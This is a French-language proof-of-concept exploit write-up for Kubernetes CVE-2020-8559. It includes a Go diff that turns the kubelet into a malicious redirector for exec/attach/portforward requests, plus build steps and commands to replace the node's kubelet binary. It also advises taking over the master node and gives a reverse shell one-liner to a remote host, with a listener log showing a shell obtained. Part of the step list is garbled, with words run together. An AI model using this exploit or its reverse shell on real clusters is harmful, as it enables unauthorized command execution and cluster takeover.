
Ceci est un exploit PoC pour la vulnérabilité Kubernetes CVE-2020-8559.
Ceci est uniquement à des fins de démonstration. À utiliser uniquement sur des systèmes sur lesquels vous êtes autorisé à effectuer des actions administratives et à exploiter la CVE-2020-8559.
Ceci est un PoC pour la CVE-2020-8559. Cette vulnérabilité permet à un attaquant qui a obtenu root sur un nœud d'exécuter des commandes sur n'importe quel autre conteneur du cluster, permettant à l'attaquant de prendre le contrôle du nœud maître Kubernetes.
Cette vulnérabilité est due au fait que le serveur API Kubernetes et la commande kubectl suivent les redirections HTTP, combiné au fait que l'API Kubernetes place simplement tous les composants d'une requête API dans l'URL, c'est-à-dire le nom du nœud, le nom du Pod, le nom du conteneur, et même la commande. Par conséquent, si le processus Kubelet répond à /exec, /attach, /portforward ou à toute action resource: proxy avec une redirection HTTP 302 dont l'en-tête Location indique d'exécuter une commande différente sur un nœud différent dans un conteneur différent, le serveur API Kubernetes ou la commande kubectl effectuera volontiers une nouvelle requête pour tout ce qui se trouve dans l'en-tête Location.
Vous pouvez télécharger ma version forkée de Kubernetes et basculer sur ma branche pour compiler le binaire kubelet de l'exploit.
Cette branche est basée sur le tag v1.15.9.
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {
method, path := req.Method, trimURLPath(req.URL.Path)
+ ////
+ ////
+ // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+ ////
+ ////
+ protocol := "https"
+ // If attacking requests from admins using the kubectl command
+ // host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+ // If attacing the Kubernetes API Server
+ // host == hostname of the Node the Victim container is running on
+ host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+ namespace := "kube-system"
+ pod := "kcd-7cfbb97c64-p4kf2"
+ container := "kcd"
+ command := "hostname"
+ if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+ fmt.Println("--------------------------------------------------------------")
+ fmt.Println("Sending Redirect")
+ fmt.Println("--------------------------------------------------------------")
+ http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+ }
+
longRunning := strconv.FormatBool(isLongRunningRequest(path))
servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()
Ce PoC enverra simplement une redirection HTTP 302 avec un en-tête Location codé en dur. Vous devrez donc modifier kubernetes/pkg/kubelet/server/server.go et mettre à jour host, namespace, pod, container et command.
Astuce de pro : Listez tous les Pods du cluster. Ensuite, configurez ceci pour exécuter des commandes sur un Pod tournant sur le nœud maître Kubernetes afin de lancer un shell inversé vers vous et de prendre le contrôle du cluster.
Après avoir configuré l'attaque, compilez un binaire kubelet malveillant.
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build
root sur un nœudkubelet malveillant sur le nœudkubelet et écrasez le binaire avec le binaire malveillantkubeletps aux |grep kubeletkubelet et copiez le binaire malveillant en placesudo kill $PID ; sudo cp kubelet /usr/local/bin/kubeletkubelet afin qu'il redémarre avec le binaire malveillantkubeletps aux |grep kubeletkubeletsudo kill $PID[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2
Vous pouvez également lancer un shell inversé vers vous depuis n'importe quel conteneur avec
nc -lv 4444/bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1Succès :D
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#
kubectl